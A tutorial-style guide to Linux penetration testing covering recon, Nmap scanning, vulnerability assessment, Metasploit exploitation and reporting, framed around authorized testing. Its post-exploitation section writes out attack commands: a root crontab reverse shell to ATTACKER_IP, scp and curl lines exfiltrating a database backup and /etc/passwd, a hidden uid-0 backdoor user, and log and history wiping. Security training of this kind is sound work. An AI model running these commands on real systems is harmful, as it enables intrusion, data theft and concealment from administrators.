Table of Contents
- Understanding Linux Penetration Testing
- Definition and Goals
- Scope and Types of Linux Pen Tests
- Pre-Engagement Phase: Laying the Groundwork
- Legal and Ethical Considerations
- Information Gathering from the Client
- Risk Assessment
- Reconnaissance: Mapping the Target
- Passive Reconnaissance (OSINT)
- Active Reconnaissance
- Scanning and Enumeration: Uncovering Attack Surfaces
- Port Scanning with Nmap
- Service and OS Fingerprinting
- Enumerating Users, Shares, and Services
- Vulnerability Assessment: Identifying Weaknesses
- Automated Tools (OpenVAS, Nessus)
- Manual Checks for Misconfigurations
- CVE Analysis and Exploitability
- Exploitation: Gaining Foothold
- Common Linux Exploits (Buffer Overflows, Privilege Escalation)
- Using Metasploit and Exploit-DB
- Real-World Exploitation Example
- Post-Exploitation: Maintaining Access and Expanding Control
- Persistence Mechanisms (Backdoors, Cron Jobs)
- Data Exfiltration
- Covering Tracks
- Reporting: Communicating Findings Effectively
- Structure of a Pen Test Report
- Prioritizing Vulnerabilities (CVSS Scores)
- Remediation Recommendations
- Best Practices for Linux Pen Testing
- References
1. Understanding Linux Penetration Testing
Definition and Goals
Linux penetration testing is a systematic process of simulating cyberattacks on Linux-based systems (servers, workstations, embedded devices) to identify security weaknesses. Unlike vulnerability scanning—which only lists potential flaws—pen testing actively exploits vulnerabilities to validate their impact, mimicking real-world attackers.
Key Goals:
- Identify unpatched software, misconfigurations, or weak access controls.
- Validate the effectiveness of existing security measures (firewalls, IDS/IPS).
- Assess the potential impact of a breach (data loss, system downtime).
- Provide actionable remediation steps to strengthen defenses.
Scope and Types of Linux Pen Tests
The scope of a Linux pen test varies based on the client’s needs. Common scopes include:
- Network Layer: Testing Linux servers, routers, or firewalls (e.g., pfSense, UFW).
- Application Layer: Testing Linux-hosted apps (web servers like Nginx/Apache, databases like PostgreSQL).
- Cloud/Container: Testing Linux-based cloud instances (AWS EC2, Azure VM) or containers (Docker, Kubernetes).
Types of Pen Tests:
- Black Box: Tester has no prior knowledge of the target (mimics an external attacker).
- White Box: Tester has full access to system details (e.g., network diagrams, credentials; mimics an insider).
- Gray Box: Partial knowledge (e.g., user credentials but no admin access; balances realism and efficiency).
2. Pre-Engagement Phase: Laying the Groundwork
Before launching any tests, thorough planning is critical to avoid legal issues, data loss, or downtime.
Legal and Ethical Considerations
- Written Authorization: A signed contract defining the scope (IP ranges, systems, test duration) is mandatory. Unauthorized testing violates laws like the Computer Fraud and Abuse Act (CFAA) in the U.S. or GDPR in the EU.
- Compliance: Ensure alignment with regulations (HIPAA, PCI-DSS) if testing healthcare or financial systems.
- Non-Disclosure Agreements (NDAs): Protect sensitive client data uncovered during testing.
Information Gathering from the Client
Collect details to streamline testing:
- Network diagrams, IP ranges, and asset lists (e.g., “Linux servers in 192.168.1.0/24”).
- Credentials (for white/gray box tests: e.g., “user-level SSH access to server X”).
- Critical systems to avoid (e.g., “Do not test the production database; use the staging environment”).
Risk Assessment
Identify high-risk targets (e.g., payment servers, patient data stores) and agree on “kill switches” to halt testing if systems destabilize (e.g., “Stop if CPU usage exceeds 90% on Server A”).
3. Reconnaissance: Mapping the Target
Reconnaissance (recon) is the phase where you gather intelligence about the target to identify potential attack vectors.
Passive Reconnaissance (OSINT)
Passive recon uses open-source intelligence (OSINT) to collect data without interacting with the target. Tools and techniques include:
- Domain/IP Research: Use
whois(domain ownership),dig(DNS records), or Shodan (search for exposed Linux devices:ssh port:22 os:"Linux"). - Social Media/Code Repos: Check GitHub for leaked credentials (e.g., hardcoded SSH keys in public repos) or employee posts about “new Linux server deployment.”
- Email Harvesting: Tools like
theHarvester(theHarvester -d example.com -l 500 -b all) scrape emails/subdomains from search engines, LinkedIn, or PGP keyservers.
Active Reconnaissance
Active recon involves direct interaction with the target to gather deeper insights (e.g., network topology, live hosts).
Tools/Techniques:
- Ping Sweeps: Use
fping(fping -g 192.168.1.0/24) to find live Linux hosts (filter by ICMP responses). - DNS Enumeration:
nslookup,host, ordnsenum(dnsenum example.com) to map subdomains (e.g.,linux-server01.example.com). - Port Scanning Prep: Use
tracerouteto map the path to the target and identify firewalls/routers.
4. Scanning and Enumeration: Uncovering Attack Surfaces
Once live hosts are identified, scanning and enumeration reveal open ports, running services, and user data—critical for exploiting vulnerabilities.
Port Scanning with Nmap
Nmap (“Network Mapper”) is the gold standard for port scanning. Key commands for Linux targets:
| Command | Purpose |
|---|---|
nmap -sP 192.168.1.0/24 | Ping sweep to find live hosts. |
nmap -p- -sV -O 192.168.1.10 | Full port scan (-p-), service version detection (-sV), OS detection (-O). |
nmap -sS -T4 -Pn 192.168.1.10 | Stealth SYN scan (-sS), aggressive timing (-T4), no ping (-Pn for firewalled targets). |
nmap --script vuln 192.168.1.10 | Run vulnerability scripts (e.g., checks for CVE-2019-0708, BlueKeep). |
Service and OS Fingerprinting
Nmap’s -sV flag identifies services (e.g., OpenSSH 7.2p2, Apache 2.4.29), while -O guesses the OS (e.g., Linux 4.4-4.9). For deeper OS details, use p0f (passive OS fingerprinting via packet analysis).
Enumerating Users, Shares, and Services
For each open port, enumerate the service to find weaknesses:
- SSH (Port 22): Check version for known vulnerabilities (e.g., OpenSSH 7.2p2 is vulnerable to CVE-2016-10009). Use
ssh-keyscanto check for weak key exchange algorithms. - FTP (Port 21): Test for anonymous access (
ftp [email protected]with passwordanonymous). - HTTP (Port 80/443): Use
gobuster(gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt) to find hidden directories (e.g.,/admin,/backup). - SMB (Port 445): Use
enum4linux(enum4linux -a 192.168.1.10) to list Samba shares, users, or groups (e.g., “Share://192.168.1.10/docswith read access”).
5. Vulnerability Assessment: Identifying Weaknesses
Vulnerability assessment prioritizes and validates risks uncovered during scanning.
Automated Tools
- OpenVAS: Open-source vulnerability scanner with a web UI. Deploy via Docker (
docker run -d -p 443:443 --name openvas mikesplain/openvas) and scan targets to generate reports (e.g., “CVE-2021-3156: Sudo Baron Samedit privilege escalation”). - Nessus: Commercial scanner with pre-built Linux plugins (e.g., checks for
sudomisconfigurations, outdated kernel versions). - Qualys: Cloud-based scanner ideal for large Linux fleets (e.g., AWS EC2 instances).
Manual Checks
Automated tools miss misconfigurations. Key manual checks for Linux:
- Weak File Permissions: Look for world-writable files (
find / -perm -o+w -type f 2>/dev/null) or SUID binaries (find / -perm -4000 2>/dev/null—e.g.,sudowith SUID bit set is normal, butbashwith SUID is a red flag). - Outdated Software: Check package versions (
dpkg -l | grep 'openssl'orrpm -qa | grep 'nginx') against CVE databases (e.g., “OpenSSL 1.0.2k is vulnerable to Heartbleed (CVE-2014-0160)”). - Cron Jobs: Insecure cron jobs (e.g.,
* * * * * root /tmp/backup.shwith/tmp/backup.shwritable by all users) allow privilege escalation.
6. Exploitation: Gaining Foothold
Exploitation uses vulnerabilities to gain initial access (e.g., a shell) on the target.
Common Linux Exploits
- Privilege Escalation: Exploit misconfigurations (e.g.,
sudowithout password:sudo -lshows “User can run /bin/bash as root without password”) or kernel flaws (e.g., CVE-2022-0847: Dirty Pipe, which allows writing to read-only files). - Buffer Overflows: Targets include custom Linux apps (e.g., a C program with
gets()instead offgets()). Use tools likegdborpwntoolsto craft exploits. - SSH Key Theft: If
~/.ssh/authorized_keysis world-readable, steal keys to log in as another user.
Using Metasploit and Exploit-DB
- Metasploit: Framework with pre-built exploits. Example workflow:
msfconsole search cve:2021-3156 # Search for Sudo Baron Samedit use exploit/linux/local/sudo_baron_samedit set SESSION 1 # Existing shell session exploit # Escalate to root - Exploit-DB: Search for Linux exploits (e.g., “Linux kernel 4.4 privilege escalation”) and compile/run them on the target.
Real-World Example: Exploiting Samba
Suppose enumeration reveals a Samba share (//192.168.1.10/share) with write access. Upload a malicious payload (e.g., a reverse shell script) to the share, then trigger it via a cron job or misconfigured service.
7. Post-Exploitation: Maintaining Access and Expanding Control
After gaining access, post-exploitation ensures persistence and extracts value (data) before remediation.
Persistence Mechanisms
- Backdoors: Add an SSH key to
~/.ssh/authorized_keysor create a hidden user (useradd -r -s /bin/bash -u 0 hiddenroot). - Cron Jobs: Add
* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1to/etc/crontabfor a reverse shell every minute. - Systemd Services: Create a malicious service (
/etc/systemd/system/backdoor.service) that runs on boot.
Data Exfiltration
Steal sensitive data using:
scp:scp /var/www/db_backup.sql attacker@ATTACKER_IP:/tmp/curl: Exfiltrate via HTTP:curl -X POST -d @/etc/passwd http://ATTACKER_IP/exfil.php
Covering Tracks
Avoid detection by:
- Clearing logs:
echo "" > /var/log/auth.log(SSH login logs) orjournalctl --vacuum-time=1s(systemd logs). - Deleting bash history:
history -c && history -w.
8. Reporting: Communicating Findings Effectively
A clear report turns technical findings into actionable insights for stakeholders.
Structure of a Pen Test Report
- Executive Summary: High-level risks (e.g., “Critical: Sudo vulnerability allows root access to 5 production servers”).
- Methodology: Tools used (Nmap, Metasploit), test scope, and limitations (e.g., “Cloud instances not tested”).
- Findings: For each vulnerability:
- Description (e.g., “CVE-2021-3156: Sudo 1.8.31 allows root escalation”).
- Evidence (screenshots of exploit output, log snippets).
- CVSS Score (e.g., 9.8 Critical).
- Remediation: Step-by-step fixes (e.g., “Update sudo to 1.9.5p2; run
apt upgrade sudo”).
Prioritizing Vulnerabilities
Use CVSS v3.1 scores to rank risks:
- Critical (9.0–10.0): Remote code execution without authentication.
- High (7.0–8.9): Privilege escalation with user interaction.
- Medium (4.0–6.9): Weak passwords on non-critical systems.
9. Best Practices for Linux Pen Testing
- Use a Lab Environment: Test on vulnerable VMs (Metasploitable 3, Hack The Box) before live targets.
- Stay Updated: Follow Linux security mailing lists ([email protected]) and CVE databases (nvd.nist.gov).
- Document Everything: Log commands, tool outputs, and timestamps for the report.
- Ethics First: Only test authorized systems—never exceed the scope.
10. References
- Nmap Official Guide
- OpenVAS Documentation
- Metasploit Unleashed
- CVE Database
- Linux Privilege Escalation Guide
- OWASP Testing Guide
Happy testing, and remember: with great power comes great responsibility. 🛡️